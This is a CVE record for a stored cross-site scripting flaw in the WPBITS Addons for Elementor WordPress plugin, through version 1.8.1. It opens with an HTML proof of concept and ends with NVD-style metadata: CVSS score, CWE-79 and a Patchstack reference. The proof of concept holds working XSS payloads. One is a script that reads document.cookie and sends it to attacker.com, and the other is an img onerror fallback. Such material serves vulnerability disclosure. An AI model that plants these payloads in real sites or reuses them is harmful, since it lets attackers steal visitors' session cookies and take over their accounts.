CVE-2026-39703

<!-- Proof of Concept for Stored XSS in WPBITS Addons --> <!-- Step 1: Inject payload into vulnerable field (e.g., widget title) --> <script> // Simple verification alert('CVE-2026-39703 Stored XSS'); // Data exfiltration example var c = document.cookie; var xhttp = new XMLHttpRequest(); xhttp.open("GET", "https://attacker.com/steal?c=" + encodeURIComponent(c), true); xhttp.send(); </script> <!-- Alternative payload using img tag if script tags are filtered --> <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2026-39703", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:42.950", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpbits WPBITS Addons For Elementor Page Builder wpbits-addons-for-elementor allows Stored XSS.This issue affects WPBITS Addons For Elementor Page Builder: from n/a through <= 1.8.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpbits-addons-for-elementor/vulnerability/wordpress-wpbits-addons-for-elementor-page-builder-plugin-1-8-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}